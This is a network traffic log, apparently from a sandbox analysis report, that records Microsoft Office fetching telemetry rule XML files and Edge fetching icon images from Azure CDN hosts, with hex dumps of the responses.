2024-11-28 01:27:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:43 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012743Z-174f7845968j6t2phC1EWRcfe80000000xz00000000040d0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:44 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:43 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:43 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012743Z-174f78459688l8rvhC1EWRtzr00000000a9000000000ezuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:44 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:43 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:43 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012743Z-174f7845968ljs8phC1EWRe6en0000000xf000000000my6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:44 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:44 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012744Z-174f78459684bddphC1EWRbht40000000xeg00000000c1xn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:44 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:45 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:45 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 592f830c-001e-005a-4566-40c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012745Z-174f7845968j6t2phC1EWRcfe80000000xv000000000ge6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:45 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:45 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:45 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012745Z-174f7845968vqt9xhC1EWRgten0000000xrg00000000e9tf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:46 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:46 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:46 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012746Z-174f7845968cpnpfhC1EWR3afc0000000x8g00000000msbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:46 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:46 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:46 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:46 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: fd1a7fe0-c01e-0046-7814-412db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012746Z-174f7845968px8v7hC1EWR08ng0000000y2g000000002w5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:46 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49887	13.107.246.63	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:46 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:46 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:46 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: cad89b3e-501e-005d-73ed-409803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T012746Z-174f7845968xr5c2hC1EWRd0hn0000000en0000000006fhq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:46 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49888	13.107.246.63	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:46 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:46 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:46 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0bea2c01-401e-0042-507f-404313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T012746Z-174f7845968xlwnmhC1EWR0sv80000000xpg000000001n35 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:46 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:46 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:46 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012746Z-174f7845968kdththC1EWRzvxn0000000a3g000000008ckh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:46 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49890	13.107.246.63	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:46 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:47 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:46 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: fcdf0dc0-001e-004e-0122-41ade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T012746Z-174f7845968xlwnmhC1EWR0sv80000000xk000000000b7d8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
